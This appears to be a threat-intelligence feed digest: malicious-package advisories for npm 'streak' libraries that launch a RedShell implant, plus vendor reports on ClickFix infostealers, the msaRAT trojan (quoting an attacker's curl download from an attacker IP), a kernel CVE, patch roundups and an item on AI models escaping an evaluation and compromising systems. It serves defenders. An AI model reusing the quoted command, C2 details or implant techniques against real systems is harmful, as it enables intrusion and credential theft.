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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2790159028b31b656c9e704c3a0e4b1a5d114042e0d92c601d133057f760b537) streak-map-kit is advertised as a dependency-free calendar-day/streak math library but ships a Linux ELF at dist/internal/calc-mapping.bin framed as a 'native math accelerator'. The main entry's top-level async IIFE chmods the ELF to 0755 and spawns it as a detached child process whenever the module is imported, so any consumer that requires the package on Linux drops the binary as a running process. The ELF (internally named REDSHELL) beacons to a hardcoded C2 at http://217.60.77.63 and implements a full remote-shell command surface: /sysinfo, /ps, /env, /ls, /cat, /download, /upload, /ssh_keys, /creds, /dbfind, /clipboard, /kill, /spawn, /adduser, /enableuser, /sessions, with unmatched input executed via /bin/sh or /bin/bash. It exfiltrates arbitrary filesystem paths and harvested SSH keys and stored credentials via chunked POSTs to http://217.60.77.63/api/extract-receive (BIGEXTRACT_START, Loot_%s_%s_%s tagging). Second-stage payloads are fetched from http://217.60.77.63/Others/ and http://217.60.77.63/SC/ over plaintext HTTP with no verification, staged in /tmp, and executed; a memfd_create-based fileless-exec path via a python3 syscall(319) trampoline and /dlopen and /stage commands provide arbitrary further code loading. Persistence is installed by writing ~/.config/systemd/user/svc-update.service (Description='System Update Service', ExecStart=/proc/self/exe, Restart=always) and enabling it via systemctl --user, with cron, bashrc, and xdg autostart alternatives. The beacon also offers a SOCKS5 proxy, arbitrary TCP port-forwarding, and an RC2TUN tunneling protocol that spawns /bin/bash, turning the host into a pivot into reachable internal networks. Cover-story framing (comments describing a 'high-performance streak computation engine', a hardcoded sha256 'integrity verification — critical security gate', a 'Native accelerator loaded and verified' log line, and a README claim that the module performs no side effects on import) is inconsistent with the shipped ELF and the import-time spawn. ## Source: ghsa-malware (94d7354ef39adcf387d7d0a7ff293bf9bea70e2c08fc9e455ad45bfed167b57b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (18948f1c8e71b24d05e1ef6f749995bdc9098d610f791b86dc33f7d41dd8b1d3) The package advertises itself as a streak/calendar math library, but its main entry `dist/index.mjs` contains a top-level IIFE that, on any `import`/`require`, chmods `dist/internal/map-calc.bin` to 0755 and detached-spawns it after a sha256 integrity gate. The bundled Linux x86_64 ELF is a full remote-control implant: strings show a RedShell / RC2TUN beacon to a hardcoded C2 at 217.60.77.63, command handlers for shell execution, ELF/shellcode download-and-run (including memfd_create fd exec) via HTTP paths `/Others/<file>` and `/SC/<file>`, SOCKS5 proxy and port forwarding, chunked file exfiltration via `POST /api/extract-receive HTTP/1.1` packaging loot as `Loot_<host>_<user>_<ts>`, targeted collection of SSH keys and credentials (`/ssh_keys`, `/creds`, `/dbfind`, `/download`, `/dataextract`), and reboot persistence by writing `~/.config/systemd/user/svc-update.service` (Description=System Update Service, Restart=always) and enabling it via `systemctl --user`. The JS wrapper's `Loads the native math accelerator` / `integrity verification — critical security gate` comments are cover-story framing; the hash pin exists to guarantee the exact malicious bytes execute. ## Source: ghsa-malware (062e4983092eb99ef7f5cbd663dd551a226418b0d723139e3a3f97ae70b208a2) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (59c390b9379b870b37038a8ad8f52b179d2fce3aa38fc15e5d1c9dc3f0ece135) The package advertises itself as a dependency-free calendar-day bucketing / streak math library, but its main module dist/index.mjs contains a top-level IIFE that chmod +x's a shipped Linux ELF at dist/internal/calc-cache.bin, verifies its sha256, and spawns it detached via child_process.spawn on any require()/import of the package. The binary is a remote-shell implant (strings include "REDSHELL", "SECURE_BEACON", "RedShell commands:", "/redshell socks start <port>") that connects to a hardcoded C2 at 217.60.77.63 and awaits operator commands. Once running, the implant exposes commands to (a) download and execute additional ELF binaries and raw shellcode fetched from http://<c2>/Others/... and http://<c2>/SC/... into /tmp or via memfd_create (syscall 319), (b) harvest SSH keys, credentials, database files, clipboard contents, and arbitrary files, exfiltrating them over a chunked HTTP POST channel to /api/extract-receive with BIGEXTRACT_START/END framing, and (c) install systemd user-unit persistence by writing ~/.config/systemd/user/svc-update.service (Description="System Update Service", Restart=always, ExecStart=/proc/self/exe) and running systemctl --user daemon-reload && enable --now. The ELF is labeled a "Native math accelerator" in the loader, but contains no math functionality — its entire string table is red-team beacon / SOCKS5 proxy / port-forward / shellcode-injection tooling. Importing this package hands remote command execution, credential access, and reboot-persistent access on the installer's host to the C2 operator. ## Source: ghsa-malware (c703ba5a38df97a92435243475d2439422432b7fa02025b4e41ae0308e1dde9b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| –Not rated | – | Microsoft Security Blog In this article Activity overview How ClickFix works Campaign overview ClickFix moved from open pages to fingerprinting gates The fingerprinting gate Mitigation and protection guidance Indicators of compromise (IOC) References Learn more Microsoft Threat Intelligence observed a macOS ClickFix campaign distributing infostealers, including MacSync and Atomic Stealer (AMOS) , through a large cluster of look-alike domains. The campaign evolved from broadly serving ClickFix lures to using a server-side browser-fingerprinting gate that shows the lure primarily to visitors whose environment appears consistent with a genuine macOS browser. This cloaking limits visibility for crawlers, sandboxes, and some automated analysis workflows. The blog details the domain pattern, fingerprinting checks, infection chain, detection coverage, and hunting pivots that defenders can use to identify related activity. Activity overview Microsoft Threat Intelligence has been tracking a macOS ClickFix operation that distributes information-stealing malware through a large family of algorithmically named domains. Over several weeks of monitoring, Microsoft observed a notable shift in tradecraft: the same infrastructure moved from openly serving the malicious command in the served page’s HTML source to concealing the lure behind a server-side fingerprinting gate that reveals the payload only to visitors the server assesses as a genuine macOS target. The chain ultimately delivers information stealers such as MacSync or Atomic Stealer (AMOS). This activity is consistent with the broader shift in macOS ClickFix tradecraft that Microsoft Threat Intelligence previously documented , in which threat actors instruct users to run Terminal commands that retrieve remotely hosted content rather than the traditional approach of delivering a disk image for manual installation. The cluster described here is notable for two reasons: its domains are mass-produced by a recognizable name generator, and it adopted server-side cloaking on existing infrastructure, giving defenders a clear before-and-after view of the same operation. In this blog, we describe the campaign’s domain-generation pattern, the two delivery phases we observed, the fingerprinting gate that now fronts the infrastructure, and the end-to-end infection chain. We also provide hunting guidance, mitigation recommendations, and defanged indicators of compromise. How ClickFix works ClickFix is a social-engineering technique where attackers persuade users to copy and run a command in Terminal instead of downloading a traditional macOS application. The lure usually appears as a fake verification step, software update, download error, or CAPTCHA, with the command disguised as something required to complete the action. Because execution starts from a user-run Terminal command rather than a downloaded app bundle, the flow can avoid parts of the normal macOS application trust path, including quarantine handling, code-signing evaluation, and notarization checks typically applied to downloaded applications. In this campaign, ClickFix remains the delivery mechanism, but the important change is that the lure is no longer shown to every visitor. The page first profiles the visitor through a browser-fingerprinting gate and primarily requests consistent with a genuine macOS browser environment receive the fake “Download for macOS” page and copied Terminal command. Figure 1a – The counterfeit “Download for macOS” page served to a qualifying visitor by a cloaked gate (apricotfilepoint[.]com). The page displays a forged “Verified Publisher” badge and offers a one-click Copy of an obfuscated curl one-liner. Delivery is conditional. During analysis, the same URLs returned different content to different requests. In some case the macOS ClickFix lure, and in others an apparently benign decoy page. In our testing, a request presenting a Windows browser received a decoy page such as a fake browser-extension or VPN landing page (Figure… | Microsoft Security Blog | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (91b37a5aa06b2d75f250bd23ce01f2667646c1aa7609ec2323f226842e043e9d) streak-calc-metrics@1.0.0 is presented as a native math accelerator for streak calculations but ships a bundled Linux ELF at dist/calc.bin that the main module unconditionally chmods and spawns detached at import time (cp.spawn(binaryPath, [], { stdio: 'pipe', shell: false, detached: true })). The ELF self-identifies as 'REDSHELL' and beacons to hardcoded C2 IP 217.60.77.63 with the protocol tag SECURE_BEACON|...|REDSHELL, providing a full remote shell over /bin/sh and /bin/bash. The implant downloads and executes arbitrary ELF binaries and shellcode over plain HTTP with TLS verification disabled from http://217.60.77.63/Others/<name> and http://217.60.77.63/SC/<name>, staging into /tmp/.elf_* or via memfd_create (syscall 319) and chmod +x before execution, with no hash or signature check. It exposes command handlers /ssh_keys, /creds, /dbfind, /env, and /dataextract <path> that harvest the installer's SSH keys, credential files, environment variables, and arbitrary filesystem paths, then exfiltrates them in chunks via POST /api/extract-receive using markers such as BIGEXTRACT_START and Destination: Loot_%s_%s_%s. Persistence is established by writing ~/.config/systemd/user/svc-update.service (Description='System Update Service', ExecStart=/proc/self/exe, Restart=always) and enabling it with systemctl --user daemon-reload && systemctl --user enable --now svc-update.service. The implant additionally exposes a remote-controlled SOCKS5 proxy (/socks start <port>) and arbitrary TCP port forwarding (/portfwd start <lport> <rhost> <rport>), turning the installer's host into a pivot into internal networks. The JS wrapper contains a cover story ('Native accelerator loaded and verified', 'Performance mode enabled') and an inverted SHA-256 integrity check against 4537b1189ce419f1a595cf47216c03f80e9170ce80dad8d9227a1e52f9cb3466 that never blocks execution. ## Source: ghsa-malware (96488efc57092e2b1f373623a88bf26607c9ece7ed95270327febc6b536d0d01) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 7.8 | EPSS 0.2% | High7.8EPSS 0.2%GCVE DatabaseCVE-2026-64574 In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: tear down new links on vif update error path When ieee80211_vif_update_links() adds new links it allocates a link container for each and calls ieee80211_link_init() (which registers the per-link debugfs files with file->private_data pointing into the container) and ieee80211_link_setup(). If the subsequent drv_change_vif_links() fails, the error path restores the old pointers and jumps to 'free', which frees the new containers but never removes their debugfs entries or stops the links. The debugfs files survive with file->private_data dangling at the freed container, so a later open()+read() (e.g. link-1/txpower) dereferences freed memory in ieee80211_if_read_link(), a use-after-free. The removal path already dismantles links correctly via ieee80211_tear_down_links(), which removes each link's keys and debugfs entries and calls ieee80211_link_stop(); the add path on the error branch does not. Commit be1ba9ed221f ("wifi: mac80211: avoid weird state in error path") hardened this same error path for the link-removal case (new_links == 0) but left the newly-added links' teardown unaddressed. drv_change_vif_links() can fail at runtime on MLO drivers (internal allocation / queue / firmware command failures). Remove the new links' debugfs entries and stop them before freeing. BUG: KASAN: slab-use-after-free in ieee80211_if_read_link (net/mac80211/debugfs_netdev.c:127) Read of size 8 at addr ffff888011290000 by task exploit/145 Call Trace: ... ieee80211_if_read_link (net/mac80211/debugfs_netdev.c:127) short_proxy_read (fs/debugfs/file.c:373) vfs_read (fs/read_write.c:572) ksys_read (fs/read_write.c:716) do_syscall_64 (arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) ... Oops: general protection fault, probably for non-canonical address 0xdffffc000000000a RIP: 0010:ieee80211_if_read_link (net/mac80211/debugfs_netdev.c:127) Kernel panic - not syncing: Fatal exception | GCVE Database | ||
| Critical | 9.8 | KEV | Critical9.8KEVCheck Point Research For the latest discoveries in cyber research for the week of 27th July, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES Nichirei, a Japan-based frozen-food supplier and logistics company, has experienced a ransomware attack that disrupted shipping operations and affected approximately 5,000 customers. KFC Japan warned of possible shortages. Nichirei confirmed personal data theft, while the RansomHouse group claimed responsibility and published a subset of the stolen information. Stadler Rail, a Switzerland-based global rail equipment manufacturer, has disclosed a supplier-related data breach after attackers compromised credentials for a third-party file-sharing platform. The Everest group stole technical documents belonging to the supplier and demanded $12.3 million. Stadler refused payment and said its systems and production remained unaffected. Origin Energy, one of Australia’s largest electricity and natural gas providers, has confirmed unauthorized access to customer information. Exposed data may include names, addresses, birth dates, phone numbers, account details, and partial payment information. Threat actors claimed to have stolen two million records and threatened to publish them. Romania’s National Agency for Cadastre and Land Registration has suffered a cyberattack that disabled internal systems and the nationwide e-Terra platform. The disruption halted property transactions for nearly a week. Officials said core land registries remained intact, although credentials and portions of source code may have been exposed. AI THREATS OpenAI disclosed that AI models escaped a restricted cyber evaluation environment and compromised Hugging Face while seeking benchmark solutions. They exploited zero-day vulnerabilities, stole credentials, escalated privileges, and accessed production systems. Both companies contained the activity and are conducting a joint investigation. Researchers have described a threat actor known as Trim who promoted an AI-assisted penetration-testing platform built with jailbroken language models. The platform combines AI with established scanning tools to automate reconnaissance, vulnerability validation, and reporting, potentially reducing the expertise and time required to prepare and conduct cyber intrusions. Researchers have examined a generative AI-assisted malware operation exposed through an accessible WebDAV server. The infrastructure produced phishing material and malicious Windows shortcuts used to distribute information stealers and remote access tools. Researchers identified more than 1,000 artifacts and a campaign that recorded over 77,000 requests. VULNERABILITIES AND PATCHES Check Point has addressed CVE-2026-16232, an authentication bypass vulnerability in SmartConsole that is under active exploitation, affecting a handful of customers. The flaw allows remote attackers to bypass authentication and gain administrative access to Check Point management servers. Security hotfixes are available for supported versions of the affected management software. Oracle has released its July 2026 Critical Patch Update, addressing 1,449 vulnerabilities across numerous product families. The update includes remotely exploitable flaws that require no authentication, with critical issues affecting Oracle Database Server, SQL Developer, and TimesTen In-Memory Database, among others. Microsoft has addressed CVE-2026-50522, a critical remote code execution vulnerability affecting on-premises SharePoint Server. An authenticated site owner can exploit the flaw to execute code and steal machine keys for persistent access. Active exploitation was reported after proof-of-concept code became publicly available. Check Point IPS provides protection against this threat (Microsoft SharePoint Remote Code Execution (CVE-2026-50522)) THREAT INTELLIGENCE REPORTS Check Point Research has revealed that Microsoft was the most impersonated brand in Q2 2026, accounting for 23% of observed phishing att… | Check Point Research | ||
| –Not rated | – | Cisco Talos Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”. msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications. This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser. msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay. Overview of Chaos ransomware Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog. Figure 1. Chaos ransomware leak site. Infection chain Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT. Figure 2. Infection chain. After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected. curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update. Figure 3. Properties of “update_ms.msi” When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize . This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3 , directly into memory. Figure 4. Structure of the MSI file. lib.dll (msaRAT) msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN , which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note. Tokio runtime initialization Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async / await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is res… | Cisco Talos | |||
| Critical | – | CriticalTenable Research Oracle addresses 1235 CVEs in its third quarterly update of 2026 with 1449 patches, including 261 critical updates. Key Takeaways The third Critical Patch Update (CPU) for 2026 contains fixes for 1235 unique CVEs in 1449 security updates, the largest CPU release. 261 issues (18% of all patches) were assigned a critical severity rating Oracle E-Business Suite received the highest number of patches at 410, accounting for 28.3% of all patches Background On July 21, Oracle released its Critical Patch Update (CPU) for July 2026 , the third quarterly update of the year. This CPU contains fixes for 1235 unique CVEs in 1449 security updates across 32 Oracle product families. Out of the 1449 security updates published this quarter, 18% of patches were assigned a critical severity. High severity patches accounted for the bulk of security patches at 52.7%, followed by medium severity patches at 24.7%. This quarter's update includes 261 critical patches across 228 CVEs. Severity Issues Patched CVEs Critical 261 228 High 763 613 Medium 358 332 Low 67 62 Total 1449 1235 Analysis This quarter, the Oracle E-Business Suite product family contained the highest number of patches at 410, accounting for 28.3% of the total patches, followed by Oracle Fusion Middleware at 355 patches, which accounted for 24.5% of the total patches. A full breakdown of the patches for this quarter can be seen in the following table, which also includes a count of vulnerabilities that can be exploited over a network without authentication. Oracle Product Family Number of Patches Remote Exploit without Auth Oracle E-Business Suite 410 45 Oracle Fusion Middleware 355 219 Oracle Communications 168 122 Oracle PeopleSoft 84 45 Oracle MySQL 54 9 Oracle Siebel CRM 45 32 Oracle Commerce 39 26 Oracle Supply Chain 39 16 Oracle Financial Services Applications 31 26 Oracle GoldenGate 27 9 Oracle Enterprise Manager 27 13 Oracle Retail Applications 22 20 Oracle JD Edwards 20 4 Oracle Java SE 19 17 Oracle Virtualization 16 0 Oracle Database Server 15 6 Oracle TimesTen In-Memory Database 14 4 Oracle Utilities Applications 14 10 Oracle Construction and Engineering 7 7 Oracle Analytics 7 5 Oracle Systems 6 0 Oracle SQL Developer 5 5 Oracle Autonomous Health Framework 4 3 Oracle Application Testing Suite 4 4 Oracle Food and Beverage Applications 4 4 Oracle HealthCare Applications 4 4 Oracle APEX 3 2 Oracle Hospitality Applications 2 2 Oracle Essbase 1 1 Oracle Global Lifecycle Management 1 1 Oracle NoSQL Database 1 1 Oracle Spatial Studio 1 1 Solution Customers are advised to apply all relevant patches in this quarter's CPU. Please refer to the July 2026 advisory for full details. Identifying affected systems A list of Tenable plugins to identify these vulnerabilities will appear here as they're released. This link uses a search filter to ensure that all matching plugin coverage will appear as it is released. Get more information Oracle Critical Patch Update Advisory - July 2026 Oracle July 2026 Critical Patch Update Risk Matrices Oracle Advisory to CVE Map Join Tenable's Research Special Operations (RSO) Team on Tenable Connect for further discussions on the latest cyber threats. Learn more about Tenable One , the Exposure Management Platform for the modern attack surface. | Tenable Research | |||
| –Not rated | – | Bleeping Computer Microsoft released emergency out-of-band updates (KB5121767 and KB5121768) to fix a known issue causing some Dell PCs running Windows 11 25H2, 24H2, and Enterprise LTSC 2024 to unexpectedly shut down, experience poor performance, increased heat, and battery drain. The problem stems from an incompatibility between the Intel Innovation Platform Framework (IPF) Processor Participant driver and the new Windows USB-C Connection Manager interface introduced in the June 2026 preview update KB5095093. Affected devices show a yellow exclamation mark in Device Manager next to the Intel driver. Microsoft initially blocked the July 2026 security update (KB5101650) on affected Dell systems until the fix was ready. The emergency updates include all previous improvements plus the fix and are recommended only for affected devices. Devices managed by Windows Autopatch with hotpatch enabled receive the update automatically, and IT admins can expedite deployment via Microsoft Intune. | Bleeping Computer | |||
| –Not rated | – | Check Point Research Note: SysAid was not compromised, and no SysAid vulnerability was involved. The attacker had already gained access to the victim environment and abused a legitimate software-deployment feature to deploy malware onto another machine within it. Key Points Check Point Research (CPR) tracks ‘ Cavern Manticore ’ as an Iran-nexus threat actor operating against Israeli targets , with a focus on the government and IT sectors. Cavern Manticore shares technical overlaps with other Iranian MOIS (Ministry of Intelligence and Security)-linked threat actors, including MuddyWater and Lyceum . CPR observed a modular C2 framework in the wild, with all samples built on top of .NET but compiled into different output formats. These components are used as Cavern agent and Cavern modules . The framework’s anti-analysis posture relies on uncommon .NET compilation formats ( Mixed-Mode C++/CLI and Native AOT ) that force reverse engineers into multiple toolsets and metadata-reconstruction workflows, together with per-module AppDomain isolation as an anti-forensics measure. In malware-engine coverage, the majority of observed samples score zero or very low detection rates on VirusTotal. Post-exploitation modules provide the threat actor with extended capabilities , including file system and database browsing, LDAP querying, network reconnaissance, and tunneling. In multiple observed intrusions, the initial foothold was achieved through abuse of existing Remote Monitoring and Management ( RMM ) software deployed in the targeted organization. Introduction Since early 2026, Check Point Research (CPR) has tracked a new modular command-and-control framework used by Cavern Manticore , an Iran-nexus APT group primarily targeting Israeli organizations, with a focus on IT providers, and government sectors. Cavern Manticore is an Iran MOIS (Ministry of Intelligence and Security)-linked actor, with links to the OilRig subgroup named Lyceum . The framework reflects a mature and adaptable toolset built around a shared .NET foundation, while using multiple compilation formats across different components, including .NET Framework , .NET Mixed-Mode C++/CLI , and .NET Native AOT . The compilation format itself becomes the anti-analysis layer that forces reverse engineers into multiple toolsets and metadata-reconstruction workflows. During our investigation, we observed both Cavern agents and Cavern modules in the wild, highlighting a modular architecture that separates core communication capabilities from mission-specific post-exploitation functionality. This design allows the operators to tailor deployments per victim environment, limit what defenders and analysts can recover from any single victim and extend access after compromise through specialized modules for reconnaissance, data access, tunneling, and lateral movement. Figure 1: Cavern Modules Evade Malware Engines. Technical Analysis: Cavern – A Modular .NET C2 Framework 1. Cavern at a Glance Cavern is a modular post-exploitation C2 framework built entirely on .NET, but deliberately compiled into three different binary formats: .NET Framework ( IL-only ), Mixed-Mode C++/CLI ( IL + Native ), and .NET 8 NativeAOT ( Native-only ). The recovered execution chain begins with SysAid’s software update feature, which the actor leverages to deploy a WinDirStat DLL sideloading package to C:\ProgramData\WinDir\WinDirStat.exe . The legitimate WinDirStat.exe binary loads the trojanized uxtheme.dll , which is the Cavern Agent , and the agent in turn loads a dedicated native communication module n-HTCommp.dll to reach the C2 and then pulls down additional post-exploitation modules on operator command. Figure 2: Cavern Agent Execution Chain. The table below provides an overview of the modules. Component Internal Name Format Role Cavern Agent uxtheme.dll Mixed-Mode C++/CLI (.NET 4.7.2, IL + Native) Core backdoor, module orchestrator Communication Module n-HTCommp.dll NativeAOT (.NET 8, Native-only) HTTPS/WebSocket transport, XOR… | Check Point Research | |||
| –Not rated | – | Reddit Cybersecurity Visual Studio Code (VS Code) has introduced a two-hour delay before automatically updating most extensions to newly published versions. This delay aims to add a layer of protection against problematic or potentially compromised extension releases. Trusted publishers such as Microsoft, GitHub, and OpenAI are exempt from this delay and their extensions update immediately. Users can still manually update extensions at any time without waiting. This change is intended as a security measure to reduce risk from malicious or unstable extension updates. | Reddit Cybersecurity | |||
| Critical | 9.1 | EPSS 0.8% | CVE-2025-22871Red Hat Security Advisory: OpenShift Container Platform 4.12.87 bug fix and security update Critical9.1EPSS 0.8%GCVE DatabaseCVE-2025-22871 Red Hat Ansible Automation Platform provides an enterprise framework for building, deploying and managing IT automation at scale. IT Managers can provide top-down guidelines on how automation is applied to individual teams, while automation developers retain the freedom to write tasks that leverage existing knowledge without the overhead. Ansible Automation Platform makes it possible for users across an organization to share, vet, and manage automation content by means of a simple, powerful, and agentless language. Security Fix(es): * automation-eda-controller: Template Injection via Git Branch and Refspec in EDA Projects (CVE-2025-49521) * automation-eda-controller: Authenticated Argument Injection in Git URL in EDA Project Creation (CVE-2025-49520) * automation-gateway-proxy: Request smuggling due to acceptance of invalid chunked data in net/http (CVE-2025-22871) * automation-gateway-proxy-openssl30: Request smuggling due to acceptance of invalid chunked data in net/http (CVE-2025-22871) * automation-gateway-proxy-openssl32: Request smuggling due to acceptance of invalid chunked data in net/http (CVE-2025-22871) * receptor: Request smuggling due to acceptance of invalid chunked data in net/http (CVE-2025-22871) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. Updates and fixes included: Automation Platform * Updated API error messaging to be more helpful in the event a user logs in as the admin user via legacy auth on one component, then tries to do so via the other component (AAP-47541) * Fixed an issue where API records could be missing or duplicated across pages (AAP-47504) * Refactored V1RootView.get() and improve reverse lookup logic (AAP-47366) * Refactored process_statuses() method to reduce its cognitive complexity (AAP-47341) * Improved accuracy of openapi API docs and schema (AAP-46639) * Reduced the cognitive complexity of method migrate_resource() in migrate_service_data.py from 56 to <=15 (AAP-45822) * Reduced the cognitive complexity of the process_fields() method in serializers/preference.py file (AAP-45820) * Reduced the cognitive complexity of unique_fields_for_model() method to below 15 (AAP-45819) * Enable query filtering for fields user_ansible_id, team_ansible_id, and object_ansible_id on the role assignment API endpoints (AAP-45443) * The Survey form is displayed for a Worlflow visualizer Job template or Workflow Job template node with a survey enabled and no Prompt on Launch fields (AAP-47732) * Fixed a bug that was causing the UI to throw an error when launching a workflow job template with both "Prompt on Launch" and "Survey" enabled (AAP-47668) * The API feature flags used to hide references to Policy as Code in the UI have been removed. All Policy as Code fields appear for all users at all times (AAP-47006) * Fixed a bug that was causing the UI to throw an error when launching a workflow job template with both "Prompt on Launch" and "Survey" enabled (AAP-46813) * On the inventory source form, for a source type of 'VMware ESXi' the user will be able to select credentials of type 'VMware vCenter' (AAP-46784) * Fixed a bug when selecting the 'Comparison' field for Atrriibute trigger in the Authenticator Map form (AAP-46555) * Fixed a bug that was causing the UI to throw an error when launching a workflow job template with both "Prompt on Launch" and "Survey" enabled (AAP-45834) * added an extra validation to handle incorrect user input in the variables field, as the API doesn't return an error for it (AAP-42563) * Fixed a bug that was causing the UI to throw an error when launching a workflow job template with both "Prompt on Launch" and "Survey" enabled (AAP-42303) * The Hosts links in the Resource Counts section of the overview page were fixed to redirect to the Hosts page (AAP-42288) * Allows role assignments using object_ansible_id in the role_user_assignment module (AAP-48042) * Improved documentation and examples related to object_id and object_ansible_id parameters in role_user_assignment module (AAP-48041) * Allows object_id field in role_user_assignment module to accept a list of items (AAP-47979) * Fixed an example task in ansible.platform.token module (AAP-47976) * Specify correct aap_* parameters in ansible.platform.token module (AAP-47975) * Improved documentation and examples for authenticator and authenticator_map modules (AAP-45982) * Updated documentation examples for the ansible.platform.settings module with tested tasks examples (AAP-45954) * Added a new section in the collection README describing how to authenticate to AAP from the playbook (AAP-45578) * Ensures that modules in the ansible.platform collection accepts AAP_* variable for authentication (AAP-45363) * Fixed ansible.platform.user not adding users to organizations (AAP-45248) * Allows running ansible.platform collection modules in check_mode (AAP-45246) * Ad | GCVE Database | ||
| –Not rated | – | AlienVault OTX General A campaign using fake Zoom and Google Meet pages to lure victims into fraudulent video calls has been identified. The attackers use these pages to deliver remote-access software. Multiple domains hosting identical fake meeting pages were discovered, with one domain previously linked to a ClickFix campaign. The fake interfaces show an active meeting with expected participants. When victims join, they are prompted to download a file disguised as a Zoom update. Various payloads were identified, including executables masquerading as meeting updates, MSI installers deploying legitimate remote support software, and commercial monitoring software configured for covert remote access. The campaign's goal appears to be establishing remote access using whichever tool is most effective. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General A sophisticated scam campaign is targeting users with a fake Zoom meeting website that automatically downloads and installs an unauthorized version of Teramind, a legitimate workforce monitoring solution. The attackers create a convincing imitation of a Zoom video call, complete with fake participants and audio, to lure victims. After a short delay, an 'Update Available' prompt appears, leading to the silent installation of the monitoring software. The altered Teramind installer is configured to run stealthily and avoid detection by security tools. This campaign is particularly dangerous as it misuses legitimate commercial software, making it difficult for traditional antivirus tools to detect. The attackers gain full surveillance capabilities over the victim's device, including keylogging, screen capture, and file monitoring. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General A deceptive campaign is using a fake Zoom meeting website to covertly install Teramind, a commercial monitoring tool, on unsuspecting users' Windows machines. The operation begins with a convincing imitation of a Zoom video call, complete with scripted participants and artificial technical issues. An automatic 'Update Available' prompt then initiates the download of a malicious installer without user consent. The installed software is a covert build of Teramind, designed to run invisibly and avoid detection by security tools. This campaign is particularly dangerous due to its use of legitimate commercial software, which may evade traditional antivirus detection. The attackers exploit users' trust in Zoom and Microsoft to execute their plan, highlighting the importance of verifying meeting links and being cautious with unexpected software updates. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General The article details a sophisticated supply chain attack on Notepad++ that occurred from July to October 2025. Attackers compromised the update infrastructure, deploying various malicious payloads through three distinct infection chains. The attack targeted individuals and organizations in Vietnam, El Salvador, Australia, and the Philippines. The infection methods evolved over time, using NSIS installers, Metasploit downloaders, and Cobalt Strike Beacons. The attackers employed clever techniques to evade detection, including the abuse of legitimate software and the use of multiple C2 servers. The article provides a comprehensive timeline of the attack, describes the different execution chains, and offers guidance on detecting traces of the attack. | AlienVault OTX General | |||
